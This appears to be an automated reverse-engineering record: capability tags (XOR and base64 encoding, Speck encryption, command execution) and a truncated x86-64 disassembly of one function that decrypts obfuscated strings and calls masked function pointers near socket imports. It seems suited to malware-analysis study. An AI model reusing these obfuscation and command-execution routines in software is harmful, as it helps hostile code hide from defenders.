Function at 0x1400cb6c0
Capabilities:
Encode data using base64
Encode data using xor
Encrypt data using speck
Execute command
Set console window title

Disassembly:
mov rax, rsp
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1b8]
sub rsp, 0x278
movaps xmmword [rax - 0x58], xmm6
movaps xmmword [rax - 0x68], xmm7
movaps xmmword [rax - 0x78], xmm8
movaps xmmword [rax - 0x88], xmm9
movaps xmmword [rax - 0x98], xmm10
movaps xmmword [rax - 0xa8], xmm11
movaps xmmword [rax - 0xb8], xmm12
movaps xmmword [rax - 0xc8], xmm13
movaps xmmword [rax - 0xd8], xmm14
movaps xmmword [rax - 0xe8], xmm15
movsd xmm0, qword [str.wSWUeTTJS_3cC]
movsd qword [rsp + 0x50], xmm0
mov ecx, dword [0x14037e7d0]
mov dword [rsp + 0x58], ecx
movzx eax, word [0x14037e7d4]
mov word [rsp + 0x5c], ax
xor r14d, r14d
mov eax, dword [reloc.WS2_32.dll_accept]
movdqa xmm14, xmmword [0x14037bad0]
movdqa xmm10, xmmword [0x14037ba90]
movdqa xmm11, xmmword [0x14037ba80]
movdqa xmm7, xmmword [0x140379a20]
movdqa xmm15, xmmword [0x14037bae0]
movdqa xmm8, xmmword [str.::::HKRC_NGO]
movdqa xmm6, xmmword [0x140380750]
cmp byte [0x14037e7d5], r14b
je 0x1400cb923
mov r8d, r14d
cmp eax, 2
jl 0x1400cb8dd
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm15
movd xmm0, dword [str.wSWUeTTJS_3cC]
xorps xmm1, xmm0
movd dword [rsp + 0x50], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm15
movd xmm0, dword [rsp + 0x54]
xorps xmm1, xmm0
movd dword [rsp + 0x54], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm15
movd xmm0, ecx
xorps xmm1, xmm0
movd dword [rsp + 0x58], xmm1
mov r8d, listen
mov eax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400cb8f0
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x18], 0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
lea rax, [rsp + 0x50]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400cb950
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x20]
call fcn.14006d8c0
nop
lea r12, [rsp + 0x20]
cmp qword [rsp + 0x38], 0xf
cmova r12, qword [rsp + 0x20]
movabs rdx, 0x7fffffffffffffff
mov qword [rbp + 0x38], rdx
movabs r8, 0x8000000000000000
mov rsi, qword [rsp + 0x30]
mov r15, qword [rbp]
cmp rsi, r15
ja 0x1400cb9cd
lea rbx, [rbp - 0x18]
cmp r15, 0xf
cmova rbx, qword [rbp - 0x18]
mov qword [rbp - 8], rsi
mov r8, rsi
mov rdx, r12
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rsi], 0
mov rdi, qword [rbp - 0x18]
jmp 0x1400cbaa8
cmp rsi, rdx
ja 0x1400d00a6
mov rbx, rsi
or rbx, 0xf
cmp rbx, rdx
ja 0x1400cba24
mov rcx, r15
shr rcx, 1
mov rax, rdx
sub rax, rcx
cmp r15, rax
ja 0x1400cba24
lea rax, [rcx + r15]
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x1400cba0c
mov rdi, r14
jmp 0x1400cba52
cmp rcx, 0x1000
jb 0x1400cba4a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400d002f
jmp 0x1400cba2b
mov rbx, rdx
lea rax, [r8 + 0x27]
mov rcx, rax
call fcn.14022485c
test rax, rax
je 0x1400cc143
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400cba52
call fcn.14022485c
mov rdi, rax
mov qword [rbp - 8], rsi
mov qword [rbp], rbx
mov r8, rsi
mov rdx, r12
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
cmp r15, 0xf
jbe 0x1400cbaa4
lea rdx, [r15 + 1]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400cba9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400cc143
call fcn.140224898
mov qword [rbp - 0x18], rdi
mov rsi, qword [rbp - 8]
mov qword [rbp + 0x1d0], rsi
lea rbx, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova rbx, rdi
cmp byte [0x1408a68bd], 0
jne 0x1400cbace
call fcn.14010f9e0
lea r12, [0x140000000]
lea r15, [0x140713b6d]
test rbx, rbx
je 0x1400cc10e
test rsi, rsi
je 0x1400cc10e
mov rdx, rsi
mov rcx, rbx
call fcn.140111470
mov rdi, rax
movzx eax, byte [rax + 9]
mov byte [rbp + 0x1c0], al
test al, al
jne 0x1400cbd11
cmp qword [0x1408a6930], 0
je 0x1400cbd07
cmp qword [0x1408a6938], 0
je 0x1400cbd07
mov edx, r14d
movzx r8d, byte [rdi + 1]
movzx r9d, byte [rdi + 2]
movzx r10d, byte [rdi + 3]
movzx r11d, byte [rdi + 4]
movzx esi, byte [rdi + 5]
movzx r12d, byte [rdi + 6]
movzx r13d, byte [rdi + 7]
mov rax, r15
movzx ecx, byte [rdi]
nop word [rax + rax]
xor cl, byte [rax]
mov byte [rdi], cl
xor r8b, byte [rax]
mov byte [rdi + 1], r8b
xor r9b, byte [rax]
mov byte [rdi + 2], r9b
xor r10b, byte [rax]
mov byte [rdi + 3], r10b
xor r11b, byte [rax]
mov byte [rdi + 4], r11b
xor sil, byte [rax]
mov byte [rdi + 5], sil
xor r12b, byte [rax]
mov byte [rdi + 6], r12b
xor r13b, byte [rax]
mov byte [rdi + 7], r13b
inc edx
lea rax, [rax + 1]
cmp edx, 1
jb 0x1400cbb60
movzx edx, byte [rdi + 8]
mov rax, qword [0x1408a6938]
mov rcx, qword [rax]
mov rax, qword [rcx + rdx*8]
mov qword [rbp + 0x1c8], rax
mov ecx, r14d
mov rdx, r15
movzx r9d, byte [rbp + 0x1cf]
movzx r10d, byte [rbp + 0x1ce]
movzx r11d, byte [rbp + 0x1cd]
movzx esi, byte [rbp + 0x1cc]
movzx r12d, byte [rbp + 0x1cb]
movzx r13d, byte [rbp + 0x1ca]
movzx r8d, byte [rbp + 0x1c9]
nop word [rax + rax]
movzx eax, byte [rdx]
xor byte [rbp + 0x1c8], al
xor r8b, al
xor r13b, al
xor r12b, al
xor sil, al
xor r11b, al
xor r10b, al
xor r9b, al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 1
jb 0x1400cbc00
mov byte [rbp + 0x1cf], r9b
mov byte [rbp + 0x1ce], r10b
mov byte [rbp + 0x1cd], r11b
mov byte [rbp + 0x1cc], sil
mov byte [rbp + 0x1cb], r12b
mov byte [rbp + 0x1ca], r13b
mov byte [rbp + 0x1c9], r8b
movzx r8d, byte [rbp + 0x1c0]
mov rdx, qword [rdi + 0x12]
mov rcx, qword [rdi]
call qword [rbp + 0x1c8]
mov byte [rbp + 0x1c0], al
mov byte [0x1408a8640], al
cmp byte [rdi + 9], 0
sete cl
mov byte [rdi + 9], cl
mov r8d, r14d
movzx r9d, byte [rdi + 1]
movzx r10d, byte [rdi + 2]
movzx r11d, byte [rdi + 3]
movzx esi, byte [rdi + 4]
movzx r12d, byte [rdi + 5]
movzx r13d, byte [rdi + 6]
movzx eax, byte [rdi + 7]
mov rcx, r15
movzx edx, byte [rdi]
nop
xor dl, byte [rcx]
mov byte [rdi], dl
xor r9b, byte [rcx]
mov byte [rdi + 1], r9b
xor r10b, byte [rcx]
mov byte [rdi + 2], r10b
xor r11b, byte [rcx]
mov byte [rdi + 3], r11b
xor sil, byte [rcx]
mov byte [rdi + 4], sil
xor r12b, byte [rcx]
mov byte [rdi + 5], r12b
xor r13b, byte [rcx]
mov byte [rdi + 6], r13b
xor al, byte [rcx]
mov byte [rdi + 7], al
inc r8d
lea rcx, [rcx + 1]
cmp r8d, 1
jb 0x1400cbcb0
mov rsi, qword [rbp + 0x1d0]
movzx eax, byte [rbp + 0x1c0]
lea r12, [0x140000000]
jmp 0x1400cbd09
xor al, al
test al, al
je 0x1400cc10e
test rsi, rsi
je 0x1400cbf32
nop word [rax + rax]
mov rdx, r14
movzx ecx, byte [rbx]
movzx eax, byte [rdx + r12 + 0x8a68cc]
xor cl, byte [r12 + rax*8 + 0x8a6940]
mov byte [rbx], cl
movzx eax, byte [rdx + r12 + 0x8a68cc]
xor cl, byte [r12 + rax*8 + 0x8a6941]
mov byte [rbx], cl
movzx eax, byte [rdx + r12 + 0x8a68cc]
xor cl, byte [r12 + rax*8 + 0x8a6942]
mov byte [rbx], cl
movzx eax, byte [rdx + r12 + 0x8a68cc]
xor cl, byte [r12 + rax*8 + 0x8a6943]
mov byte [rbx], cl
movzx eax, byte [rdx + r12 + 0x8a68cc]
xor cl, byte [r12 + rax*8 + 0x8a6944]
mov byte [rbx], cl
movzx eax, byte [rdx + r12 + 0x8a68cc]
xor cl, byte [r12 + rax*8 + 0x8a6945]
mov byte [rbx], cl
movzx eax, byte [rdx + r12 + 0x8a68cc]
xor cl, byte [r12 + rax*8 + 0x8a6946]
mov byte [rbx], cl
movzx eax, byte [rdx + r12 + 0x8a68cc]
xor cl, byte [r12 + rax*8 + 0x8a6947]
mov byte [rbx], cl
inc rdx
cmp rdx, 4
jb 0x1400cbd26
mov rdx, r14
nop
movzx eax, byte [rdx + r12 + 0x8a6ac0]
xor cl, byte [r12 + rax*8 + 0x8a69c0]
mov byte [rbx], cl
movzx eax, byte [rdx + r12 + 0x8a6ac0]
xor cl, byte [r12 + rax*8 + 0x8a69c1]
mov byte [rbx], cl
movzx eax, byte [rdx + r12 + 0x8a6ac0]
xor cl, byte [r12 + rax*8 + 0x8a69c2]
mov byte [rbx], cl
movzx eax, byte [rdx + r12 + 0x8a6ac0]
xor cl, byte [r12 + rax*8 + 0x8a69c3]
mov byte [rbx], cl
movzx eax, byte [rdx + r12 + 0x8a6ac0]
xor cl, byte [r12 + rax*8 + 0x8a69c4]
mov byte [rbx], cl
movzx eax, byte [rdx + r12 + 0x8a6ac0]
xor cl, byte [r12 + rax*8 + 0x8a69c5]
mov byte [rbx], cl
movzx eax, byte [rdx + r12 + 0x8a6ac0]
xor cl, byte [r12 + rax*8 + 0x8a69c6]
mov byte [rbx], cl
movzx eax, byte [rdx + r12 + 0x8a6ac0]
xor cl, byte [r12 + rax*8 + 0x8a69c7]
mov byte [rbx], cl
inc rdx
cmp rdx, 8
jb 0x1400cbdd0
mov rdx, r14
nop dword [rax + rax]
movzx eax, byte [rdx + r12 + 0x8a6ac8]
xor cl, byte [r12 + rax*8 + 0x8a6a40]
mov byte [rbx], cl
movzx eax, byte [rdx + r12 + 0x8a6ac8]
xor cl, byte [r12 + rax*8 + 0x8a6a41]
mov byte [rbx], cl
movzx eax, byte [rdx + r12 + 0x8a6ac8]
xor cl, byte [r12 + rax*8 + 0x8a6a42]
mov byte [rbx], cl
movzx eax, byte [rdx + r12 + 0x8a6ac8]
xor cl, byte [r12 + rax*8 + 0x8a6a43]
mov byte [rbx], cl
movzx eax, byte [rdx + r12 + 0x8a6ac8]
xor cl, byte [r12 + rax*8 + 0x8a6a44]
mov byte [rbx], cl
movzx eax, byte [rdx + r12 + 0x8a6ac8]
xor cl, byte [r12 + rax*8 + 0x8a6a45]
mov byte [rbx], cl
movzx eax, byte [rdx + r12 + 0x8a6ac8]
xor cl, byte [r12 + rax*8 + 0x8a6a46]
mov byte [rbx], cl
movzx eax, byte [rdx + r12 + 0x8a6ac8]
xor cl, byte [r12 + rax*8 + 0x8a6a47]
mov byte [rbx], cl
inc rdx
cmp rdx, 0xc
jb 0x1400cbe80
inc rbx
sub rsi, 1
jne 0x1400cbd20
cmp byte [rdi + 9], 0
je 0x1400cc10e
cmp qword [0x1408a6930], 0
je 0x1400cc10e
cmp qword [0x1408a6938], 0
je 0x1400cc10e
mov ecx, r14d
movzx edx, byte [rdi]
movzx r8d, byte [rdi + 1]
movzx r9d, byte [rdi + 2]
movzx r10d, byte [rdi + 3]
movzx r11d, byte [rdi + 4]
movzx ebx, byte [rdi + 5]
movzx esi, byte [rdi + 6]
movzx r12d, byte [rdi + 7]
mov rax, r15
xor dl, byte [rax]
mov byte [rdi], dl
xor r8b, byte [rax]
mov byte [rdi + 1], r8b
xor r9b, byte [rax]
mov byte [rdi + 2], r9b
xor r10b, byte [rax]
mov byte [rdi + 3], r10b
xor r11b, byte [rax]
mov byte [rdi + 4], r11b
xor bl, byte [rax]
mov byte [rdi + 5], bl
xor sil, byte [rax]
mov byte [rdi + 6], sil
xor r12b, byte [rax]
mov byte [rdi + 7], r12b
inc ecx
lea rax, [rax + 1]
cmp ecx, 1
jb 0x1400cbf82
movzx edx, byte [rdi + 8]
mov rax, qword [0x1408a6938]
mov rcx, qword [rax]
mov rax, qword [rcx + rdx*8]
mov qword [rbp + 0x1c0], rax
mov ecx, r14d
mov rdx, r15
movzx r8d, byte [rbp + 0x1c7]
movzx r9d, byte [rbp + 0x1c6]
movzx r10d, byte [rbp + 0x1c5]
movzx r11d, byte [rbp + 0x1c4]
movzx ebx, byte [rbp + 0x1c3]
movzx esi, byte [rbp + 0x1c2]
movzx r12d, byte [rbp + 0x1c1]
movzx r13d, al
nop dword [rax]
movzx eax, byte [rdx]
xor r13b, al
xor r12b, al
xor sil, al
xor bl, al
xor r11b, al
xor r10b, al
xor r9b, al
xor r8b, al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 1
jb 0x1400cc020
mov byte [rbp + 0x1c7], r8b
mov byte [rbp + 0x1c6], r9b
mov byte [rbp + 0x1c5], r10b
mov byte [rbp + 0x1c4], r11b
mov byte [rbp + 0x1c3], bl
mov byte [rbp + 0x1c2], sil
mov byte [rbp + 0x1c1], r12b
mov byte [rbp + 0x1c0], r13b
movzx r8d, byte [rdi + 9]
mov rdx, qword [rdi + 0x12]
mov rcx, qword [rdi]
call qword [rbp + 0x1c0]
mov byte [0x1408a8640], al
cmp byte [rdi + 9], 0
sete al
mov byte [rdi + 9], al
mov ecx, r14d
movzx edx, byte [rdi]
movzx r8d, byte [rdi + 1]
movzx r9d, byte [rdi + 2]
movzx r10d, byte [rdi + 3]
movzx r11d, byte [rdi + 4]
movzx ebx, byte [rdi + 5]
movzx esi, byte [rdi + 6]
movzx r12d, byte [rdi + 7]
mov rax, r15
nop dword [rax + rax]
xor dl, byte [rax]
mov byte [rdi], dl
xor r8b, byte [rax]
mov byte [rdi + 1], r8b
xor r9b, byte [rax]
mov byte [rdi + 2], r9b
xor r10b, byte [rax]
mov byte [rdi + 3], r10b
xor r11b, byte [rax]
mov byte [rdi + 4], r11b
xor bl, byte [rax]
mov byte [rdi + 5], bl
xor sil, byte [rax]
mov byte [rdi + 6], sil
xor r12b, byte [rax]
mov byte [rdi + 7], r12b
inc ecx
lea rax, [rax + 1]
cmp ecx, 1
jb 0x1400cc0d0
mov rax, qword [rsp + 0x38]
cmp rax, 0xf
jbe 0x1400cc150
lea rdx, [rax + 1]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400cc14a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400cc14a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140224898
nop
movsd xmm0, qword [str.eCYUSU]
movsd qword [rsp + 0x50], xmm0
mov ecx, dword [0x14037e7e0]
mov dword [rsp + 0x58], ecx
movzx eax, byte [0x14037e7e4]
mov byte [rsp + 0x5c], al
mov r8d, r14d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400cc2c9
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm15
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.eCYUSU]
xorps xmm1, xmm0
movd dword [rsp + 0x50], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0x58], xmm2
mov r8d, listen
mov eax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400cc2e0
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x58], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x40], 0
lea rax, [0x1400cb6b0]
cmp byte [0x1408a5b5e], 0
jne 0x1400cc344
mov qword [0x1408a6788], rax
mov byte [0x1408a5b5e], 1
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
lea rax, [rsp + 0x50]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x1400cc361
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x20]
call fcn.14006d8c0
nop
lea rdx, [rsp + 0x20]
mov rsi, qword [rsp + 0x20]
mov r13, qword [rsp + 0x38]
cmp r13, 0xf
cmova rdx, rsi
lea r10, [0x1408a5f80]
lea r8, [0x1408a6780]
mov r9d, 0xffffffff
cmp byte [0x1408a5b5d], 0
jne 0x1400cc3e4
mov rcx, r10
mov rax, qword [0x140713e40]
not rax
xor rax, qword [0x1408a6fb8]
xor rax, qword [0x1408a6f88]
mov qword [rcx], rax
sub qword [0x140713e40], r9
add rcx, 8
cmp rcx, r8
jl 0x1400cc3b2
mov byte [0x1408a5b5d], 1
mov rbx, qword [0x1408a6f88]
mov qword [rbp + 0x1c0], rbx
mov ecx, r14d
mov r12, qword [rsp + 0x30]
mov qword [rsp + 0x50], r12
test r12, r12
je 0x1400cc45e
movzx eax, byte [rdx]
xor bl, al
mov byte [rbp + 0x1c0], bl
xor byte [rbp + 0x1c1], al
xor byte [rbp + 0x1c2], al
xor byte [rbp + 0x1c3], al
xor byte [rbp + 0x1c4], al
xor byte [rbp + 0x1c5], al
xor byte [rbp + 0x1c6], al
xor byte [rbp + 0x1c7], al
not al
movzx eax, al
mov rbx, qword [rbp + 0x1c0]
xor rbx, qword [r10 + rax*8]
mov qword [rbp + 0x1c0], rbx
inc ecx
lea rdx, [rdx + 1]
movsxd rax, ecx
cmp rax, r12
jb 0x1400cc404
mov edx, dword [0x1408a8a78]
mov rax, qword gs:[0x58]
mov ecx, 4
mov rax, qword [rax + rdx*8]
add rax, rcx
mov qword [rbp + 0x1c0], rax
mov eax, dword [rax]
cmp dword [0x1408a8660], eax
jg 0x1400d00ac
mov rax, qword [rbp + 0x1c0]
mov eax, dword [rax]
cmp dword [0x1408a8670], eax
jg 0x1400d00dd
nop dword [rax]
nop word [rax + rax]
mov qword [0x1408a8658], r14
mov qword [0x1408a8668], r14
mov byte [0x1408a8674], 0
lea rbx, [rsp + 0x20]
cmp r13, 0xf
cmova rbx, rsi
cmp r12, 0xf
ja 0x1400cc512
mov qword [rbp + 0x50], r12
mov r8, r12
mov rdx, rbx
lea rcx, [rbp + 0x40]
call sub.VCRUNTIME140.dll_memmove
mov byte [rbp + r12 + 0x40], 0
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0x50]
mov qword [rsp + 0x50], rax
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x1d8], rax
jmp 0x1400cc5d4
movabs rcx, 0x7fffffffffffffff
cmp r12, rcx
ja 0x1400d0115
mov rax, r12
or rax, 0xf
cmp rax, rcx
jbe 0x1400cc565
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14022485c
test rax, rax
je 0x1400cc5ff
lea rcx, [rax + 0x27]
and rcx, 0xffffffffffffffe0
mov qword [rbp + 0x1d8], rcx
mov qword [rcx - 8], rax
jmp 0x1400cc5b1
mov rcx, rax
mov edx, socket
cmp rax, rdx
cmovb rcx, rdx
mov qword [rbp + 0x38], rcx
add rcx, 1
jne 0x1400cc58a
mov rcx, r14
mov qword [rbp + 0x1d8], rcx
jmp 0x1400cc5b1
cmp rcx, 0x1000
jb 0x1400cc5a2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400d0035
jmp 0x1400cc53f
call fcn.14022485c
mov rcx, rax
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x38]
mov qword [rbp + 0x58], rax
mov r8, r12
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x1d8]
mov byte [r12 + rax], 0
mov qword [rbp + 0x40], rax
cmp r13, 0xf
jbe 0x1400cc60f
lea rdx, [r13 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400cc606
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400cc606
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140224898
nop
movsd xmm0, qword [str.fXJWRN]
movsd qword [rsp + 0x40], xmm0
movzx eax, byte [0x14037e7f0]
mov byte [rsp + 0x40], 0x50
xor byte [rsp + 0x41], 0x37
xor byte [rsp + 0x42], 0x38
xor byte [rsp + 0x43], 0x39
xor byte [rsp + 0x44], 0x3a
xor byte [rsp + 0x45], 0x3b
xor byte [rsp + 0x46], 0x3c
xor byte [rsp + 0x47], 0x3d
xor al, 0x3e
mov byte [rsp + 0x48], al
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
movdqa xmm1, xmmword [0x14037a260]
movdqu xmmword [rbp + 0x18], xmm1
mov byte [rbp + 8], 0
lea r13, [0x1400cb6b0]
cmp byte [0x1408a5b5e], 0
jne 0x1400cc688
mov qword [0x1408a6788], r13
mov byte [0x1408a5b5e], 1
movups xmmword [rsp + 0x20], xmm0
movdqu xmmword [rsp + 0x30], xmm1
mov byte [rsp + 0x20], 0
cmp byte [0x1408a5b5d], 0
jne 0x1400cc6e7
lea rcx, [0x1408a5f80]
lea rdx, [0x1408a6780]
mov r8d, 0xffffffff
mov rax, qword [0x140713e40]
not rax
xor rax, qword [0x1408a6fb8]
xor rax, qword [0x1408a6f88]
mov qword [rcx], rax
sub qword [0x140713e40], r8
add rcx, 8
cmp rcx, rdx
jl 0x1400cc6b5
mov byte [0x1408a5b5d], 1
mov rbx, qword [0x1408a6f88]
mov qword [rbp + 0x1c0], rbx
mov ecx, dword [0x1408a8a78]
mov rax, qword gs:[0x58]
mov rsi, qword [rax + rcx*8]
mov r12d, 4
mov eax, dword [r12 + rsi]
cmp dword [0x1408a8660], eax
jg 0x1400d011b
mov eax, dword [r12 + rsi]
cmp dword [0x1408a8670], eax
jg 0x1400cfff7
mov qword [rbp + 0x1c8], r14
mov eax, r14d
movzx esi, byte [0x1408a6b94]
movzx ecx, r14b
xor cl, sil
inc eax
cmp eax, 8
jb 0x1400cc743
mov byte [rbp + 0x1c8], cl
mov rbx, qword [0x1408a6fb8]
mov r9, qword [0x1408a8668]
xor r9, rbx
xor byte [rbp + 0x1c0], r9b
mov r10, r14
movzx edx, byte [0x1408a8674]
test dl, dl
cmove r10, qword [rbp + 0x1c8]
mov rax, r10
shl rax, 0x38
mov rcx, qword [rbp + 0x1c0]
xor rcx, rax
mov qword [rbp + 0x1c0], rcx
xor r9, rbx
mov rax, r9
shr rax, 8
shr rcx, 8
xor al, cl
mov byte [rbp + 0x1c1], al
mov r11, r14
test dl, dl
cmovne r11, qword [rbp + 0x1c8]
mov rax, r11
shl rax, 0x38
mov rcx, qword [rbp + 0x1c0]
xor rcx, rax
mov qword [rbp + 0x1c0], rcx
mov rdx, rbx
xor rdx, r9
mov rax, rdx
shr rax, 0x10
shr rcx, 0x10
xor al, cl
mov byte [rbp + 0x1c2], al
mov rax, r10
shl rax, 0x30
mov rcx, qword [rbp + 0x1c0]
xor rcx, rax
mov qword [rbp + 0x1c0], rcx
mov r8, rbx
xor r8, rdx
mov rax, r8
shr rax, 0x18
shr rcx, 0x18
xor al, cl
mov byte [rbp + 0x1c3], al
mov rax, r11
shl rax, 0x28
mov rcx, qword [rbp + 0x1c0]
xor rcx, rax
mov qword [rbp + 0x1c0], rcx
mov rdx, rbx
xor rdx, r8
mov rax, rdx
shr rax, 0x20
shr rcx, 0x20
xor al, cl
mov byte [rbp + 0x1c4], al
mov rax, r10
shl rax, 0x20
mov rcx, qword [rbp + 0x1c0]
xor rcx, rax
mov qword [rbp + 0x1c0], rcx
mov r8, rbx
xor r8, rdx
mov rax, r8
shr rax, 0x28
shr rcx, 0x28
xor al, cl
mov byte [rbp + 0x1c5], al
mov rax, r11
shl rax, 0x18
mov rcx, qword [rbp + 0x1c0]
xor rcx, rax
mov qword [rbp + 0x1c0], rcx
mov rdx, rbx
xor rdx, r8
mov rax, rdx
shr rax, 0x30
shr rcx, 0x30
xor al, cl
mov byte [rbp + 0x1c6], al
shl r10, 0x10
mov rax, qword [rbp + 0x1c0]
xor rax, r10
mov qword [rbp + 0x1c0], rax
shr rbx, 0x38
shr rax, 0x38
xor bl, al
shr rdx, 0x38
xor bl, dl
mov byte [rbp + 0x1c7], bl
imul rcx, rsi, 0xff
mov rax, qword [0x1408a6bf8]
sub rax, rcx
xor rax, qword [0x1408a8658]
mov qword [0x1408a8658], r14
mov qword [0x1408a8668], r14
mov byte [0x1408a8674], 0
shl r11, 8
xor r11, rax
xor r11, qword [rbp + 0x1c0]
mov qword [rbp + 0x28], r11
xor r8d, r8d
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 8]
call fcn.14006ece0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x1400cc96b
inc rdx
mov rcx, qword [rsp + 0x20]
